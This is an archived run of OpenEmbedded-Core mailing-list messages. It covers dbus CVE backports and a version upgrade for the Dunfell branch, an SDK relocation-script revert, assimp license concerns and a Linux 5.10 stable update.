-=-=-=-=-=-=-=-=-=-=-=-

Re: [OE-core] [Dunfell][PATCH] dbus: Security fix CVE-2020-35512

[Armin Kuster]

On 9/2/21 7:55 PM, Steve Sakoman wrote:
> On Thu, Sep 2, 2021 at 8:38 AM Steve Sakoman  wrote:
>> On Thu, Sep 2, 2021 at 8:10 AM Armin Kuster  wrote:
>>> ping or did I miss a response to this patch?
>> No you didn't miss anything!
>>
>> I mistakenly stashed this patch along with your "lz4: Security Fix for
>> CVE-2021-3520" patch in a branch waiting for the lz4 equivalent to hit
>> master.
>>
>> Richard pushed the lz4 patch to master so now both patches are merged
>> and in test for dunfell.
> We're getting reproducible autobuilder ptest errors with this patch:
>
> AssertionError: Failed ptests:
> {'dbus-test': ['test/test-dbus-daemon',
>'test/test-dbus-daemon-eavesdrop',
>'test/test-monitor']}
>
> https://autobuilder.yoctoproject.org/typhoon/#/builders/82/builds/2179
> https://autobuilder.yoctoproject.org/typhoon/#/builders/81/builds/2460

It turns out that the patch would need to be applied to dbus-test as well.

After further investigation, the cleaner solution is to update to
version in Gategarth 1.12.20. That path includes consolidating the
common code between dbus and dbus-test which should help avoid any
future recipe mismatches.


Bug fix only changes.

ab88811768 (HEAD, tag: dbus-1.12.20) v1.12.20
5757fd5480 Update NEWS
f3b2574f0c userdb: Reference-count DBusUserInfo, DBusGroupInfo
37b36d49a6 userdb: Make lookups return a const pointer
732284d530 Solaris and derivatives do not adjust cmsg_len on MSG_CTRUNC
1f8c42c7cd Start 1.12.20 development
a0926ef86f (tag: dbus-1.12.18) Prepare 1.12.18
8bc1381819 fdpass test: Assert that we don't leak file descriptors
272d484283 sysdeps-unix: On MSG_CTRUNC, close the fds we did receive
31297172f1 Update NEWS
041d579139 dbus-daemon test: Don't test fd limits if in an unprivileged
container
55b3f71376 Update NEWS
ced04aabc7 doxygen: fix example for dbus_message_append_args
3e40637b10 Update NEWS
3e0ea34966 cmake: Add X11 include path for tools
d0992805d7 doc: replace dbus-send's --address with --peer and --bus
dd32f6b617 Update NEWS
d251fe7850 Merge branch 'cherry-pick-b034b83b' into 'dbus-1.12'
2c6b0ad7f6 bus: Don't explicitly clear BusConnections.monitors
df0c675b93 Merge branch 'cherry-pick-bf71a58e' into 'dbus-1.12'
beb79b94fb doc: Fix environment variable name in dbus-daemon(1)
eab5d4a420 Start 1.12.18 development


I will send a new patch set shortly.

-Armin
>
> Steve
>
>>> -armin
>>>
>>> On 8/27/21 8:37 PM, Armin Kuster via lists.openembedded.org wrote:
 From: Armin Kuster 

 Source: https://gitlab.freedesktop.org/dbu
 MR: 108825
 Type: Security Fix
 Disposition: Backport from 
 https://gitlab.freedesktop.org/dbus/dbus/-/commit/e75c67a28fa2bc41a8ab0de433a52355c71a8abf
 ChangeID: dea9518b9c13dab66e7d553c622000b9c6e268cc
 Description:

 Affects: < 1.12.20

 Signed-off-by: Armin Kuster 
 ---
  .../dbus/dbus/CVE-2020-35512.patch| 301 ++
  meta/recipes-core/dbus/dbus_1.12.16.bb|   1 +
  2 files changed, 302 insertions(+)
  create mode 100644 meta/recipes-core/dbus/dbus/CVE-2020-35512.patch

 diff --git a/meta/recipes-core/dbus/dbus/CVE-2020-35512.patch 
 b/meta/recipes-core/dbus/dbus/CVE-2020-35512.patch
 new file mode 100644
 index 00..27f5d58675
 --- /dev/null
 +++ b/meta/recipes-core/dbus/dbus/CVE-2020-35512.patch
 @@ -0,0 +1,301 @@
 +From 2b7948ef907669e844b52c4fa2268d6e3162a70c Mon Sep 17 00:00:00 2001
 +From: Simon McVittie 
 +Date: Tue, 30 Jun 2020 19:29:06 +0100
 +Subject: [PATCH] userdb: Reference-count DBusUserInfo, DBusGroupInfo
 +
 +Previously, the hash table indexed by uid (or gid) took ownership of the
 +single reference to the heap-allocated struct, and the hash table
 +indexed by username (or group name) had a borrowed pointer to the same
 +struct that exists in the other hash table.
 +
 +However, this can break down if you have two or more distinct usernames
 +that share a numeric identifier. This is generally a bad idea, because
 +the user-space model in such situations does not match the kernel-space
 +reality, and in particular there is no effective kernel-level security
 +boundary between such users, but it is sometimes done anyway.
 +
 +In this case, when the second username is looked up in the userdb, it
 +overwrites (replaces) the entry in the hash table that is indexed by
 +uid, freeing the DBusUserInfo. This results in both the key and the
 +value in the hash table that is indexed by username becoming dangling
 +pointers (use-after-free), leading to undefined behaviour, which is
 +certainly not what we want to see when doing access control.
 +
 +An equivalent situation can occur with groups, in the rare case where
 +a numeric group ID has two names (although I have not heard of this
 +being done in practice).
 +
 +Solve this by 

[OE-core] [dunfell][PATCH 2/5] dbus-test: upgrade 1.12.16 -> 1.12.18

[Armin Kuster]

From: Wang Mingyu 

(From OE-Core rev: 839695e0c1b0c0fcfbb924c2b174c4a638067a32)

Signed-off-by: Wang Mingyu 
Signed-off-by: Richard Purdie 
(cherry picked from commit 5cbf053481642a820b9f4c6bed9ac79246719087)
Signed-off-by: Armin Kuster 
---
 .../dbus/{dbus-test_1.12.16.bb => dbus-test_1.12.18.bb}   | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)
 rename meta/recipes-core/dbus/{dbus-test_1.12.16.bb => dbus-test_1.12.18.bb} 
(95%)

diff --git a/meta/recipes-core/dbus/dbus-test_1.12.16.bb 
b/meta/recipes-core/dbus/dbus-test_1.12.18.bb
similarity index 95%
rename from meta/recipes-core/dbus/dbus-test_1.12.16.bb
rename to meta/recipes-core/dbus/dbus-test_1.12.18.bb
index bea0e74ed0..0063dcce67 100644
--- a/meta/recipes-core/dbus/dbus-test_1.12.16.bb
+++ b/meta/recipes-core/dbus/dbus-test_1.12.18.bb
@@ -16,8 +16,8 @@ SRC_URI = 
"http://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.gz \
file://clear-guid_from_server-if-send_negotiate_unix_f.patch \
"
 
-SRC_URI[md5sum] = "2dbeae80dfc9e3632320c6a53d5e8890"
-SRC_URI[sha256sum] = 
"54a22d2fa42f2eb2a871f32811c6005b531b9613b1b93a0d269b05e7549fec80"
+SRC_URI[md5sum] = "4ca570c281be35d0b30ab83436712242"
+SRC_URI[sha256sum] = 
"64cf4d70840230e5e9bc784d153880775ab3db19d656ead8a0cb9c0ab5a95306"
 
 S="${WORKDIR}/dbus-${PV}"
 FILESEXTRAPATHS =. "${FILE_DIRNAME}/dbus:"
-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155771): 
https://lists.openembedded.org/g/openembedded-core/message/155771
Mute This Topic: https://lists.openembedded.org/mt/85448134/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [dunfell][PATCH 1/5] dbus: upgrade 1.12.16 -> 1.12.18

[Armin Kuster]

From: Wang Mingyu 

(From OE-Core rev: 8d33a2a4e4b6ff8f831523e5b1b16ead6b29cc79)

Signed-off-by: Wang Mingyu 
Signed-off-by: Richard Purdie 
(cherry picked from commit a62471f0641551717a260c67690d3a7d280ac028)
[Bug fix only update, drop cve patch now included

a0926ef86f (tag: dbus-1.12.18) Prepare 1.12.18
8bc1381819 fdpass test: Assert that we don't leak file descriptors
272d484283 sysdeps-unix: On MSG_CTRUNC, close the fds we did receive <- cve fix
31297172f1 Update NEWS
041d579139 dbus-daemon test: Don't test fd limits if in an unprivileged 
container
55b3f71376 Update NEWS
ced04aabc7 doxygen: fix example for dbus_message_append_args
3e40637b10 Update NEWS
3e0ea34966 cmake: Add X11 include path for tools
d0992805d7 doc: replace dbus-send's --address with --peer and --bus
dd32f6b617 Update NEWS
d251fe7850 Merge branch 'cherry-pick-b034b83b' into 'dbus-1.12'
2c6b0ad7f6 bus: Don't explicitly clear BusConnections.monitors
df0c675b93 Merge branch 'cherry-pick-bf71a58e' into 'dbus-1.12'
beb79b94fb doc: Fix environment variable name in dbus-daemon(1)
eab5d4a420 Start 1.12.18 development]
Signed-off-by: Armin Kuster 
---
 .../dbus/dbus/CVE-2020-12049.patch| 78 ---
 .../dbus/{dbus_1.12.16.bb => dbus_1.12.18.bb} |  5 +-
 2 files changed, 2 insertions(+), 81 deletions(-)
 delete mode 100644 meta/recipes-core/dbus/dbus/CVE-2020-12049.patch
 rename meta/recipes-core/dbus/{dbus_1.12.16.bb => dbus_1.12.18.bb} (97%)

diff --git a/meta/recipes-core/dbus/dbus/CVE-2020-12049.patch 
b/meta/recipes-core/dbus/dbus/CVE-2020-12049.patch
deleted file mode 100644
index ac7a4b7a71..00
--- a/meta/recipes-core/dbus/dbus/CVE-2020-12049.patch
+++ /dev/null
@@ -1,78 +0,0 @@
-From 872b085f12f56da25a2dbd9bd0b2dff31d5aea63 Mon Sep 17 00:00:00 2001
-From: Simon McVittie 
-Date: Thu, 16 Apr 2020 14:45:11 +0100
-Subject: [PATCH] sysdeps-unix: On MSG_CTRUNC, close the fds we did receive
-
-MSG_CTRUNC indicates that we have received fewer fds that we should
-have done because the buffer was too small, but we were treating it
-as though it indicated that we received *no* fds. If we received any,
-we still have to make sure we close them, otherwise they will be leaked.
-
-On the system bus, if an attacker can induce us to leak fds in this
-way, that's a local denial of service via resource exhaustion.
-
-Reported-by: Kevin Backhouse, GitHub Security Lab
-Fixes: dbus#294
-Fixes: CVE-2020-12049
-Fixes: GHSL-2020-057
-
-Upstream-Status: Backport 
[https://gitlab.freedesktop.org/dbus/dbus/-/commit/872b085f12f56da25a2dbd9bd0b2dff31d5aea63]
-CVE: CVE-2020-12049
-Signed-off-by: Lee Chee Yang 

- dbus/dbus-sysdeps-unix.c | 32 
- 1 file changed, 20 insertions(+), 12 deletions(-)
-
-diff --git a/dbus/dbus-sysdeps-unix.c b/dbus/dbus-sysdeps-unix.c
-index b5fc2466..b176dae1 100644
 a/dbus/dbus-sysdeps-unix.c
-+++ b/dbus/dbus-sysdeps-unix.c
-@@ -435,18 +435,6 @@ _dbus_read_socket_with_unix_fds (DBusSocketfd,
-   struct cmsghdr *cm;
-   dbus_bool_t found = FALSE;
- 
--  if (m.msg_flags & MSG_CTRUNC)
--{
--  /* Hmm, apparently the control data was truncated. The bad
-- thing is that we might have completely lost a couple of fds
-- without chance to recover them. Hence let's treat this as a
-- serious error. */
--
--  errno = ENOSPC;
--  _dbus_string_set_length (buffer, start);
--  return -1;
--}
--
-   for (cm = CMSG_FIRSTHDR(); cm; cm = CMSG_NXTHDR(, cm))
- if (cm->cmsg_level == SOL_SOCKET && cm->cmsg_type == SCM_RIGHTS)
-   {
-@@ -501,6 +489,26 @@ _dbus_read_socket_with_unix_fds (DBusSocketfd,
-   if (!found)
- *n_fds = 0;
- 
-+  if (m.msg_flags & MSG_CTRUNC)
-+{
-+  unsigned int i;
-+
-+  /* Hmm, apparently the control data was truncated. The bad
-+ thing is that we might have completely lost a couple of fds
-+ without chance to recover them. Hence let's treat this as a
-+ serious error. */
-+
-+  /* We still need to close whatever fds we *did* receive,
-+   * otherwise they'll never get closed. (CVE-2020-12049) */
-+  for (i = 0; i < *n_fds; i++)
-+close (fds[i]);
-+
-+  *n_fds = 0;
-+  errno = ENOSPC;
-+  _dbus_string_set_length (buffer, start);
-+  return -1;
-+}
-+
-   /* put length back (doesn't actually realloc) */
-   _dbus_string_set_length (buffer, start + bytes_read);
- 
--- 
-2.25.1
-
diff --git a/meta/recipes-core/dbus/dbus_1.12.16.bb 
b/meta/recipes-core/dbus/dbus_1.12.18.bb
similarity index 97%
rename from meta/recipes-core/dbus/dbus_1.12.16.bb
rename to meta/recipes-core/dbus/dbus_1.12.18.bb
index 10d1b34448..2fcb3079ad 100644
--- a/meta/recipes-core/dbus/dbus_1.12.16.bb
+++ b/meta/recipes-core/dbus/dbus_1.12.18.bb
@@ -16,11 +16,10 @@ SRC_URI = 

[OE-core] [dunfell][PATCH 3/5] dbus-test: Remove EXTRA_OECONF_X configs

[Armin Kuster]

From: Ovidiu Panait 

X specific configs are already handled through PACKAGECONFIG:
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)}"
...
PACKAGECONFIG[x11] = "--with-x --enable-x11-autolaunch,--without-x
  --disable-x11-autolaunch, virtual/libx11 libsm"

Remove duplicated EXTRA_OECONF_X args.

(From OE-Core rev: 7dc107b05a29f8a3e8903d73f84ef8069f68af6f)

Signed-off-by: Ovidiu Panait 
Signed-off-by: Richard Purdie 
(cherry picked from commit 036e3436e51a44de3fc9b4b8e5b1ff149e3aaa9d)
Signed-off-by: Armin Kuster 
---
 meta/recipes-core/dbus/dbus-test_1.12.18.bb | 4 
 1 file changed, 4 deletions(-)

diff --git a/meta/recipes-core/dbus/dbus-test_1.12.18.bb 
b/meta/recipes-core/dbus/dbus-test_1.12.18.bb
index 0063dcce67..68fcdc847f 100644
--- a/meta/recipes-core/dbus/dbus-test_1.12.18.bb
+++ b/meta/recipes-core/dbus/dbus-test_1.12.18.bb
@@ -24,9 +24,6 @@ FILESEXTRAPATHS =. "${FILE_DIRNAME}/dbus:"
 
 inherit autotools pkgconfig gettext ptest upstream-version-is-even
 
-EXTRA_OECONF_X = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '--with-x', 
'--without-x', d)}"
-EXTRA_OECONF_X_class-native = "--without-x"
-
 EXTRA_OECONF = "--enable-tests \
 --enable-modular-tests \
 --enable-installed-tests \
@@ -37,7 +34,6 @@ EXTRA_OECONF = "--enable-tests \
 --disable-doxygen-docs \
 --disable-libaudit \
 --with-dbus-test-dir=${PTEST_PATH} \
-${EXTRA_OECONF_X} \
 --enable-embedded-tests \
  "
 
-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155772): 
https://lists.openembedded.org/g/openembedded-core/message/155772
Mute This Topic: https://lists.openembedded.org/mt/85448135/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [dunfell][PATCH 4/5] dbus,dbus-test: Move common parts to dbus.inc

[Armin Kuster]

From: Ovidiu Panait 

dbus and dbus-test share the same source code and base configuration options,
so factor out the common parts into dbus.inc.

This way we can eliminate the need to keep the two recipes in sync. When they
are not properly in sync (e.g. when dbus recipe has extra patches/config
options that are not duplicated in dbus-test) ptest testsuite will actually
test a slightly different codebase. This is due to the fact that dbus-test does
not run the testsuite against the system libdbus library, but instead it
generates a local libdbus.so that needs to configured/compiled as close as
possible to the system one.

(From OE-Core rev: 1cde2935526d2eec7d6b17a6c622647b0c132439)

Signed-off-by: Ovidiu Panait 
Signed-off-by: Richard Purdie 
(cherry picked from commit 44ae5d8d6f26fda4ab1a3fef9fc49d74e4ac89f0)
Signed-off-by: Armin Kuster 
---
 meta/recipes-core/dbus/dbus-test_1.12.18.bb | 38 +---
 meta/recipes-core/dbus/dbus.inc | 34 ++
 meta/recipes-core/dbus/dbus_1.12.18.bb  | 39 +++--
 3 files changed, 47 insertions(+), 64 deletions(-)
 create mode 100644 meta/recipes-core/dbus/dbus.inc

diff --git a/meta/recipes-core/dbus/dbus-test_1.12.18.bb 
b/meta/recipes-core/dbus/dbus-test_1.12.18.bb
index 68fcdc847f..755c841bad 100644
--- a/meta/recipes-core/dbus/dbus-test_1.12.18.bb
+++ b/meta/recipes-core/dbus/dbus-test_1.12.18.bb
@@ -1,53 +1,31 @@
 SUMMARY = "D-Bus test package (for D-bus functionality testing only)"
 HOMEPAGE = "http://dbus.freedesktop.org;
 SECTION = "base"
-LICENSE = "AFL-2.1 | GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=10dded3b58148f3f1fd804b26354af3e \
-
file://dbus/dbus.h;beginline=6;endline=20;md5=7755c9d7abccd5dbd25a6a974538bb3c"
 
-DEPENDS = "dbus glib-2.0"
+require dbus.inc
 
-RDEPENDS_${PN}-dev = ""
+SRC_URI += "file://run-ptest \
+file://python-config.patch \
+   "
 
-SRC_URI = "http://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.gz \
-   file://tmpdir.patch \
-   file://run-ptest \
-   file://python-config.patch \
-   file://clear-guid_from_server-if-send_negotiate_unix_f.patch \
-   "
+DEPENDS = "dbus glib-2.0"
 
-SRC_URI[md5sum] = "4ca570c281be35d0b30ab83436712242"
-SRC_URI[sha256sum] = 
"64cf4d70840230e5e9bc784d153880775ab3db19d656ead8a0cb9c0ab5a95306"
+RDEPENDS_${PN}-dev = ""
 
 S="${WORKDIR}/dbus-${PV}"
 FILESEXTRAPATHS =. "${FILE_DIRNAME}/dbus:"
 
-inherit autotools pkgconfig gettext ptest upstream-version-is-even
+inherit ptest
 
-EXTRA_OECONF = "--enable-tests \
+EXTRA_OECONF += "--enable-tests \
 --enable-modular-tests \
 --enable-installed-tests \
 --enable-checks \
 --enable-asserts \
---enable-largefile \
---disable-xml-docs \
---disable-doxygen-docs \
---disable-libaudit \
 --with-dbus-test-dir=${PTEST_PATH} \
 --enable-embedded-tests \
  "
 
-EXTRA_OECONF_append_class-target = " SYSTEMCTL=${base_bindir}/systemctl"
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd x11', d)}"
-PACKAGECONFIG_class-native = ""
-PACKAGECONFIG_class-nativesdk = ""
-
-PACKAGECONFIG[systemd] = "--enable-systemd 
--with-systemdsystemunitdir=${systemd_system_unitdir},--disable-systemd 
--without-systemdsystemunitdir,systemd"
-PACKAGECONFIG[x11] = "--with-x --enable-x11-autolaunch,--without-x 
--disable-x11-autolaunch, virtual/libx11 libsm"
-PACKAGECONFIG[user-session] = "--enable-user-session 
--with-systemduserunitdir=${systemd_user_unitdir},--disable-user-session"
-PACKAGECONFIG[verbose-mode] = "--enable-verbose-mode,,,"
-
 do_install() {
 :
 }
diff --git a/meta/recipes-core/dbus/dbus.inc b/meta/recipes-core/dbus/dbus.inc
new file mode 100644
index 00..3bdb7ea4ff
--- /dev/null
+++ b/meta/recipes-core/dbus/dbus.inc
@@ -0,0 +1,34 @@
+inherit autotools pkgconfig gettext upstream-version-is-even
+
+LICENSE = "AFL-2.1 | GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=10dded3b58148f3f1fd804b26354af3e \
+
file://dbus/dbus.h;beginline=6;endline=20;md5=7755c9d7abccd5dbd25a6a974538bb3c"
+
+SRC_URI = "https://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.gz \
+   file://tmpdir.patch \
+   file://dbus-1.init \
+   file://clear-guid_from_server-if-send_negotiate_unix_f.patch \
+"
+
+SRC_URI[md5sum] = "4ca570c281be35d0b30ab83436712242"
+SRC_URI[sha256sum] = 
"64cf4d70840230e5e9bc784d153880775ab3db19d656ead8a0cb9c0ab5a95306"
+
+EXTRA_OECONF = "--disable-xml-docs \
+--disable-doxygen-docs \
+--disable-libaudit \
+--enable-largefile \
+--with-system-socket=/run/dbus/system_bus_socket \
+"
+EXTRA_OECONF_append_class-target = " SYSTEMCTL=${base_bindir}/systemctl"
+EXTRA_OECONF_append_class-native = " --disable-selinux"
+

[OE-core] [dunfell][PATCH 5/5] dbus: upgrade 1.12.18 -> 1.12.20

[Armin Kuster]

From: Wang Mingyu 

Source: https://git.openembedded.org/openembedded-core
MR: 108825
Type: Security Fix
Disposition: Backport from 
https://git.openembedded.org/openembedded-core/commit/meta/recipes-core/dbus?id=bfaef91e77cd54e4f642e966903aac3f3291c325
ChangeID: bfaef91e77cd54e4f642e966903aac3f3291c325
Description:

Bugz only update
Includes fix for CVE-2020-35512

ab88811768 (HEAD, tag: dbus-1.12.20) v1.12.20
5757fd5480 Update NEWS
f3b2574f0c userdb: Reference-count DBusUserInfo, DBusGroupInfo <- cve fix
37b36d49a6 userdb: Make lookups return a const pointer
732284d530 Solaris and derivatives do not adjust cmsg_len on MSG_CTRUNC
1f8c42c7cd Start 1.12.20 development

(From OE-Core rev: bfaef91e77cd54e4f642e966903aac3f3291c325)

Signed-off-by: Wang Mingyu 
Signed-off-by: Richard Purdie 
(cherry picked from commit bfaef91e77cd54e4f642e966903aac3f3291c325)
Signed-off-by: Armin Kuster 
---
 .../dbus/{dbus-test_1.12.18.bb => dbus-test_1.12.20.bb}   | 0
 meta/recipes-core/dbus/dbus.inc   | 4 ++--
 meta/recipes-core/dbus/{dbus_1.12.18.bb => dbus_1.12.20.bb}   | 0
 3 files changed, 2 insertions(+), 2 deletions(-)
 rename meta/recipes-core/dbus/{dbus-test_1.12.18.bb => dbus-test_1.12.20.bb} 
(100%)
 rename meta/recipes-core/dbus/{dbus_1.12.18.bb => dbus_1.12.20.bb} (100%)

diff --git a/meta/recipes-core/dbus/dbus-test_1.12.18.bb 
b/meta/recipes-core/dbus/dbus-test_1.12.20.bb
similarity index 100%
rename from meta/recipes-core/dbus/dbus-test_1.12.18.bb
rename to meta/recipes-core/dbus/dbus-test_1.12.20.bb
diff --git a/meta/recipes-core/dbus/dbus.inc b/meta/recipes-core/dbus/dbus.inc
index 3bdb7ea4ff..dcbcc0a9d6 100644
--- a/meta/recipes-core/dbus/dbus.inc
+++ b/meta/recipes-core/dbus/dbus.inc
@@ -10,8 +10,8 @@ SRC_URI = 
"https://dbus.freedesktop.org/releases/dbus/dbus-${PV}.tar.gz \
file://clear-guid_from_server-if-send_negotiate_unix_f.patch \
 "
 
-SRC_URI[md5sum] = "4ca570c281be35d0b30ab83436712242"
-SRC_URI[sha256sum] = 
"64cf4d70840230e5e9bc784d153880775ab3db19d656ead8a0cb9c0ab5a95306"
+SRC_URI[md5sum] = "dfe8a71f412e0b53be26ed4fbfdc91c4"
+SRC_URI[sha256sum] = 
"f77620140ecb4cdc67f37fb444f8a6bea70b5b6461f12f1cbe2cec60fa7de5fe"
 
 EXTRA_OECONF = "--disable-xml-docs \
 --disable-doxygen-docs \
diff --git a/meta/recipes-core/dbus/dbus_1.12.18.bb 
b/meta/recipes-core/dbus/dbus_1.12.20.bb
similarity index 100%
rename from meta/recipes-core/dbus/dbus_1.12.18.bb
rename to meta/recipes-core/dbus/dbus_1.12.20.bb
-- 
2.25.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155774): 
https://lists.openembedded.org/g/openembedded-core/message/155774
Mute This Topic: https://lists.openembedded.org/mt/85448138/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

Re: [OE-core] [hardknott][PATCH] Revert "sdk: fix relocate symlink failed"

[hongxu]

On 9/7/21 6:39 PM, Andrey Zhizhikin wrote:

[Please note: This e-mail is from an EXTERNAL e-mail address]

Hello Hongxu,

On Tue, Sep 7, 2021 at 8:26 AM hongxu  wrote:

The commit [7e71acd265 sdk: fix relocate symlink failed] is used to fix
regression issue caused by commit [bc4ee54535 sdk: Decouple default install
path from built in path], but hardknott does not contain commit bc4ee54535,
so commit 7e71acd265 should not be in hardknott neither, otherwise it caused
other regression issue.

This reverts commit 7e71acd265637d54d5bf149ea36cefa581f60992.

This has been already discussed for [dunfell], see [1].

The actual proposal was to take the second commit rather than
reverting the first one, which Steve did (see [2]).

Can the same approach be applied to [hardknott]?


Yes, I think so

//Hongxu


Signed-off-by: Hongxu Jia 
---
  meta/files/toolchain-shar-relocate.sh | 2 +-
  1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/meta/files/toolchain-shar-relocate.sh 
b/meta/files/toolchain-shar-relocate.sh
index ba873373e2..5433741296 100644
--- a/meta/files/toolchain-shar-relocate.sh
+++ b/meta/files/toolchain-shar-relocate.sh
@@ -72,7 +72,7 @@ fi

  # change all symlinks pointing to @SDKPATH@
  for l in $($SUDO_EXEC find $native_sysroot -type l); do
-   $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e 
"s:$SDK_BUILD_PATH:$target_sdk_dir:") $l
+   $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e 
"s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:") $l
 if [ $? -ne 0 ]; then
 echo "Failed to setup symlinks. Relocate script failed. Abort!"
 exit 1
--
2.27.0





Link: [1]: 
https://lists.openembedded.org/g/openembedded-core/topic/85311771#155603
Link: [2]: https://lists.openembedded.org/g/openembedded-core/message/155670

--
Regards,
Andrey.




-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155776): 
https://lists.openembedded.org/g/openembedded-core/message/155776
Mute This Topic: https://lists.openembedded.org/mt/85429805/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

Re: [OE-core] License issues for assimp_5.0.1.bb

[Robert Yang]

On 9/7/21 3:44 PM, Alexander Kanavin wrote:
I'm not sure what, if anything, uses assimp anymore - it used to be a dependency 
of (old) vulkan-demos, but not anymore. And nothing in meta-oe. Qt5/6 has it as 
an optional dependency in qt3d, off by default.


I'd say, remove.


Thanks, makes sense, I will send a patch for it a few minutes later.

// Robert



Alex

On Tue, 7 Sept 2021 at 09:35, Robert Yang > wrote:


Hello,

It seems that meta/recipes-graphics/vulkan/assimp_5.0.1.bb


has license issues,
its license is BSD-3-Clause in the LICENSE file, but a few files can't
be redistributed with out written permissions:

* scripts/StepImporter/schema_ifc2x3.exp

Copyright by: International Alliance for Interoperability, 1996-2005 All 
rights
reserved. No part of this documentation may be reproduced, stored in a
retrieval
system, or transmitted in any form or by any means, without the prior 
written
permission of the owner


* test/models-nonbsd/X/dwarf-Read-Me.txt

RESTRICTIONS: This model pack is available for use in freeware, shareware,
commercial games/software with the following restrictions:- **You may not
sell/re-sell this model pack or claim it as your own. ***You may not
redistribute this pack in some other model pack through a website or on a
compilation CD of any kind, without my written consent. Psi
http://www.psionic3d.co.uk



* test/models-nonbsd/B3D/turtle.source.txt

Copyright 2004, Psionic Design e-mail: psio...@blueyonder.co.uk
 Used with
permission. RESTRICTIONS: This model pack is available for use in freeware,
shareware, commercial games/software with the following restrictions:- **You
may
not sell/re-sell this model pack or claim it as your own. ***You may not
redistribute this pack in some other model pack through a website or on a
compilation CD of any kind, without my written consent.


It seems that we even can't add these files to a mirror like:


http://downloads.yoctoproject.org/mirror/sources/git2/github.com.assimp.assimp.git/




Maybe we should add LICENSE_FLAGS or remove the recipe?

-- 
Thanks


Robert




-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155746): 
https://lists.openembedded.org/g/openembedded-core/message/155746
Mute This Topic: https://lists.openembedded.org/mt/85430468/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH] Revert "sdk: fix relocate symlink failed"

[hongxu]

The commit [7e71acd265 sdk: fix relocate symlink failed] is used to fix
regression issue caused by commit [bc4ee54535 sdk: Decouple default install
path from built in path], but hardknott does not contain commit bc4ee54535,
so commit 7e71acd265 should not be in hardknott neither, otherwise it caused
other regression issue.

This reverts commit 7e71acd265637d54d5bf149ea36cefa581f60992.

Signed-off-by: Hongxu Jia 
---
 meta/files/toolchain-shar-relocate.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/meta/files/toolchain-shar-relocate.sh 
b/meta/files/toolchain-shar-relocate.sh
index ba873373e2..5433741296 100644
--- a/meta/files/toolchain-shar-relocate.sh
+++ b/meta/files/toolchain-shar-relocate.sh
@@ -72,7 +72,7 @@ fi
 
 # change all symlinks pointing to @SDKPATH@
 for l in $($SUDO_EXEC find $native_sysroot -type l); do
-   $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e 
"s:$SDK_BUILD_PATH:$target_sdk_dir:") $l
+   $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e 
"s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:") $l
if [ $? -ne 0 ]; then
echo "Failed to setup symlinks. Relocate script failed. Abort!"
exit 1
-- 
2.27.0


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155730): 
https://lists.openembedded.org/g/openembedded-core/message/155730
Mute This Topic: https://lists.openembedded.org/mt/85429805/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 07/11] linux-yocto/5.10: update to v5.10.59

[Anuj Mittal]

From: Bruce Ashfield 

Updating linux-yocto/5.10 to the latest korg -stable release that comprises
the following commits:

5805e5eec901 Linux 5.10.59
25cff25ec606 net: xilinx_emaclite: Do not print real IOMEM pointer
6a002d48a660 ovl: prevent private clone if bind mount is not allowed
bffead8d3648 ppp: Fix generating ppp unit id when ifname is not specified
5df85901fe45 ALSA: hda: Add quirk for ASUS Flow x13
8930f2c60a45 ALSA: hda/realtek: fix mute/micmute LEDs for HP ProBook 650 G8 
Notebook PC
98c3fa3a9d7a ALSA: pcm: Fix mmap breakage without explicit buffer setup
cc1a4dff23a4 USB:ehci:fix Kunpeng920 ehci hardware problem
bd909fd3878d vboxsf: Make vboxsf_dir_create() return the handle for the 
created file
971703fc19cf vboxsf: Honor excl flag to the dir-inode create op
96b2232cb7e5 arm64: dts: renesas: beacon: Fix USB ref clock references
e0dd4a0ab072 arm64: dts: renesas: beacon: Fix USB extal reference
